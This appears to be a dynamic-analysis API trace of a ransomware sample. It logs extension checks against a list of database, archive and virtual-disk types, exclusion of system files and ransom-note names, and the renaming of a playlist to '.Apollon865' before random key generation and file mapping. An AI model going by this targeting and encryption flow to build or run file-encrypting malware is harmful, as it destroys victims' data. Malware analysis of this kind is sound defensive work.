	[0061.403] lstrcmpiW (lpString1="_stars.wpl", lpString2="dadiagrams") returned -1
	[0061.403] lstrlenW (lpString="daschema") returned 8
	[0061.403] lstrcmpiW (lpString1="tars.wpl", lpString2="daschema") returned 1
	[0061.403] lstrlenW (lpString="db-journal") returned 10
	[0061.403] lstrcmpiW (lpString1="_stars.wpl", lpString2="db-journal") returned -1
	[0061.403] lstrlenW (lpString="db-shm") returned 6
	[0061.403] lstrcmpiW (lpString1="rs.wpl", lpString2="db-shm") returned 1
	[0061.403] lstrlenW (lpString="db-wal") returned 6
	[0061.403] lstrcmpiW (lpString1="rs.wpl", lpString2="db-wal") returned 1
	[0061.403] lstrlenW (lpString="dbc") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.403] lstrlenW (lpString="dbs") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.403] lstrlenW (lpString="dbt") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.403] lstrlenW (lpString="dbv") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.403] lstrlenW (lpString="dbx") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.403] lstrlenW (lpString="dcb") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.403] lstrlenW (lpString="dct") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.403] lstrlenW (lpString="dcx") returned 3
	[0061.403] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.404] lstrlenW (lpString="ddl") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.404] lstrlenW (lpString="dlis") returned 4
	[0061.404] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.404] lstrlenW (lpString="dp1") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.404] lstrlenW (lpString="dqy") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.404] lstrlenW (lpString="dsk") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.404] lstrlenW (lpString="dsn") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.404] lstrlenW (lpString="dtsx") returned 4
	[0061.404] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.404] lstrlenW (lpString="dxl") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.404] lstrlenW (lpString="eco") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.404] lstrlenW (lpString="ecx") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.404] lstrlenW (lpString="edb") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.404] lstrlenW (lpString="epim") returned 4
	[0061.404] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.404] lstrlenW (lpString="fcd") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.404] lstrlenW (lpString="fdb") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.404] lstrlenW (lpString="fic") returned 3
	[0061.404] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.404] lstrlenW (lpString="flexolibrary") returned 12
	[0061.404] lstrcmpiW (lpString1="_5_stars.wpl", lpString2="flexolibrary") returned -1
	[0061.404] lstrlenW (lpString="fm5") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.405] lstrlenW (lpString="fmp") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.405] lstrlenW (lpString="fmp12") returned 5
	[0061.405] lstrcmpiW (lpString1="s.wpl", lpString2="fmp12") returned 1
	[0061.405] lstrlenW (lpString="fmpsl") returned 5
	[0061.405] lstrcmpiW (lpString1="s.wpl", lpString2="fmpsl") returned 1
	[0061.405] lstrlenW (lpString="fol") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.405] lstrlenW (lpString="fp3") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.405] lstrlenW (lpString="fp4") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.405] lstrlenW (lpString="fp5") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.405] lstrlenW (lpString="fp7") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.405] lstrlenW (lpString="fpt") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.405] lstrlenW (lpString="frm") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.405] lstrlenW (lpString="gdb") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.405] lstrlenW (lpString="gdb") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.405] lstrlenW (lpString="grdb") returned 4
	[0061.405] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.405] lstrlenW (lpString="gwi") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.405] lstrlenW (lpString="hdb") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.405] lstrlenW (lpString="his") returned 3
	[0061.405] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.405] lstrlenW (lpString="ib") returned 2
	[0061.406] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.406] lstrlenW (lpString="idb") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.406] lstrlenW (lpString="ihx") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.406] lstrlenW (lpString="itdb") returned 4
	[0061.406] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.406] lstrlenW (lpString="itw") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.406] lstrlenW (lpString="jet") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.406] lstrlenW (lpString="jtx") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.406] lstrlenW (lpString="kdb") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.406] lstrlenW (lpString="kexi") returned 4
	[0061.406] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.406] lstrlenW (lpString="kexic") returned 5
	[0061.406] lstrcmpiW (lpString1="s.wpl", lpString2="kexic") returned 1
	[0061.406] lstrlenW (lpString="kexis") returned 5
	[0061.406] lstrcmpiW (lpString1="s.wpl", lpString2="kexis") returned 1
	[0061.406] lstrlenW (lpString="lgc") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.406] lstrlenW (lpString="lwx") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.406] lstrlenW (lpString="maf") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.406] lstrlenW (lpString="maq") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.406] lstrlenW (lpString="mar") returned 3
	[0061.406] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.406] lstrlenW (lpString="marshal") returned 7
	[0061.406] lstrcmpiW (lpString1="ars.wpl", lpString2="marshal") returned -1
	[0061.406] lstrlenW (lpString="mas") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.407] lstrlenW (lpString="mav") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.407] lstrlenW (lpString="maw") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.407] lstrlenW (lpString="mdbhtml") returned 7
	[0061.407] lstrcmpiW (lpString1="ars.wpl", lpString2="mdbhtml") returned -1
	[0061.407] lstrlenW (lpString="mdn") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.407] lstrlenW (lpString="mdt") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.407] lstrlenW (lpString="mfd") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.407] lstrlenW (lpString="mpd") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.407] lstrlenW (lpString="mrg") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.407] lstrlenW (lpString="mud") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.407] lstrlenW (lpString="mwb") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.407] lstrlenW (lpString="myd") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.407] lstrlenW (lpString="ndf") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.407] lstrlenW (lpString="nnt") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.407] lstrlenW (lpString="nrmlib") returned 6
	[0061.407] lstrcmpiW (lpString1="rs.wpl", lpString2="nrmlib") returned 1
	[0061.407] lstrlenW (lpString="ns2") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.407] lstrlenW (lpString="ns3") returned 3
	[0061.407] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.407] lstrlenW (lpString="ns4") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.408] lstrlenW (lpString="nsf") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.408] lstrlenW (lpString="nv") returned 2
	[0061.408] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.408] lstrlenW (lpString="nv2") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.408] lstrlenW (lpString="nwdb") returned 4
	[0061.408] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.408] lstrlenW (lpString="nyf") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.408] lstrlenW (lpString="odb") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.408] lstrlenW (lpString="odb") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.408] lstrlenW (lpString="oqy") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.408] lstrlenW (lpString="ora") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.408] lstrlenW (lpString="orx") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.408] lstrlenW (lpString="owc") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.408] lstrlenW (lpString="p96") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.408] lstrlenW (lpString="p97") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.408] lstrlenW (lpString="pan") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.408] lstrlenW (lpString="pdb") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.408] lstrlenW (lpString="pdm") returned 3
	[0061.408] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.408] lstrlenW (lpString="pnz") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.409] lstrlenW (lpString="qry") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.409] lstrlenW (lpString="qvd") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.409] lstrlenW (lpString="rbf") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.409] lstrlenW (lpString="rctd") returned 4
	[0061.409] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.409] lstrlenW (lpString="rod") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.409] lstrlenW (lpString="rodx") returned 4
	[0061.409] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.409] lstrlenW (lpString="rpd") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.409] lstrlenW (lpString="rsd") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.409] lstrlenW (lpString="sas7bdat") returned 8
	[0061.409] lstrcmpiW (lpString1="tars.wpl", lpString2="sas7bdat") returned 1
	[0061.409] lstrlenW (lpString="sbf") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.409] lstrlenW (lpString="scx") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.409] lstrlenW (lpString="sdb") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.409] lstrlenW (lpString="sdc") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.409] lstrlenW (lpString="sdf") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.409] lstrlenW (lpString="sis") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.409] lstrlenW (lpString="spq") returned 3
	[0061.409] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.409] lstrlenW (lpString="te") returned 2
	[0061.410] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.410] lstrlenW (lpString="teacher") returned 7
	[0061.410] lstrcmpiW (lpString1="ars.wpl", lpString2="teacher") returned -1
	[0061.410] lstrlenW (lpString="tmd") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.410] lstrlenW (lpString="tps") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.410] lstrlenW (lpString="trc") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.410] lstrlenW (lpString="trc") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.410] lstrlenW (lpString="trm") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.410] lstrlenW (lpString="udb") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.410] lstrlenW (lpString="udl") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.410] lstrlenW (lpString="usr") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.410] lstrlenW (lpString="v12") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.410] lstrlenW (lpString="vis") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.410] lstrlenW (lpString="vpd") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.410] lstrlenW (lpString="vvv") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.410] lstrlenW (lpString="wdb") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.410] lstrlenW (lpString="wmdb") returned 4
	[0061.410] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.410] lstrlenW (lpString="wrk") returned 3
	[0061.410] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.411] lstrlenW (lpString="xdb") returned 3
	[0061.411] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.411] lstrlenW (lpString="xld") returned 3
	[0061.411] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.411] lstrlenW (lpString="xmlff") returned 5
	[0061.411] lstrcmpiW (lpString1="s.wpl", lpString2="xmlff") returned -1
	[0061.411] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.Apollon865") returned 129
	[0061.411] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.446] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.446] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1020) returned 1
	[0061.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0061.447] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0061.447] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.447] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0061.448] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x700, lpName=0x0) returned 0xc0
	[0061.450] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x700) returned 0x100000
	[0061.451] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0061.452] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.452] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0061.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0061.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0061.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.452] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.452] CloseHandle (hObject=0xc0) returned 1
	[0061.452] CloseHandle (hObject=0x14c) returned 1
	[0061.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.452] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.453] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".") returned 1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="..") returned 1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="windows") returned -1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="bootmgr") returned -1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="temp") returned -1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="pagefile.sys") returned -1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="boot") returned -1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="ids.txt") returned -1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="ntuser.dat") returned -1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="perflogs") returned -1
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2="MSBuild") returned -1
	[0061.453] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28
	[0061.453] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 118
	[0061.453] lstrcpyW (in: lpString1=0x119e6b0, lpString2="09_Music_played_the_most.wpl" | out: lpString1="09_Music_played_the_most.wpl") returned="09_Music_played_the_most.wpl"
	[0061.453] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28
	[0061.453] lstrlenW (lpString="Apollon865") returned 10
	[0061.453] lstrcmpiW (lpString1="e_most.wpl", lpString2="Apollon865") returned 1
	[0061.453] lstrlenW (lpString=".dll") returned 4
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".dll") returned 1
	[0061.453] lstrlenW (lpString=".lnk") returned 4
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".lnk") returned 1
	[0061.453] lstrlenW (lpString=".ini") returned 4
	[0061.453] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".ini") returned 1
	[0061.453] lstrlenW (lpString=".sys") returned 4
	[0061.454] lstrcmpiW (lpString1="09_Music_played_the_most.wpl", lpString2=".sys") returned 1
	[0061.454] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28
	[0061.454] lstrlenW (lpString="bak") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.454] lstrlenW (lpString="ba_") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.454] lstrlenW (lpString="dbb") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.454] lstrlenW (lpString="vmdk") returned 4
	[0061.454] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.454] lstrlenW (lpString="rar") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.454] lstrlenW (lpString="zip") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.454] lstrlenW (lpString="tgz") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.454] lstrlenW (lpString="vbox") returned 4
	[0061.454] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.454] lstrlenW (lpString="vdi") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.454] lstrlenW (lpString="vhd") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.454] lstrlenW (lpString="vhdx") returned 4
	[0061.454] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.454] lstrlenW (lpString="avhd") returned 4
	[0061.454] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.454] lstrlenW (lpString="db") returned 2
	[0061.454] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.454] lstrlenW (lpString="db2") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.454] lstrlenW (lpString="db3") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.454] lstrlenW (lpString="dbf") returned 3
	[0061.454] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.455] lstrlenW (lpString="mdf") returned 3
	[0061.455] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.455] lstrlenW (lpString="mdb") returned 3
	[0061.455] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.455] lstrlenW (lpString="sql") returned 3
	[0061.455] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.455] lstrlenW (lpString="sqlite") returned 6
	[0061.455] lstrcmpiW (lpString1="st.wpl", lpString2="sqlite") returned 1
	[0061.455] lstrlenW (lpString="sqlite3") returned 7
	[0061.455] lstrcmpiW (lpString1="ost.wpl", lpString2="sqlite3") returned -1
	[0061.455] lstrlenW (lpString="sqlitedb") returned 8
	[0061.455] lstrcmpiW (lpString1="most.wpl", lpString2="sqlitedb") returned -1
	[0061.455] lstrlenW (lpString="xml") returned 3
	[0061.455] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.455] lstrlenW (lpString="$er") returned 3
	[0061.455] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.455] lstrlenW (lpString="4dd") returned 3
	[0061.455] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.455] lstrlenW (lpString="4dl") returned 3
	[0061.455] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.455] lstrlenW (lpString="^^^") returned 3
	[0061.455] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.455] lstrlenW (lpString="abs") returned 3
	[0061.455] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.455] lstrlenW (lpString="abx") returned 3
	[0061.455] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
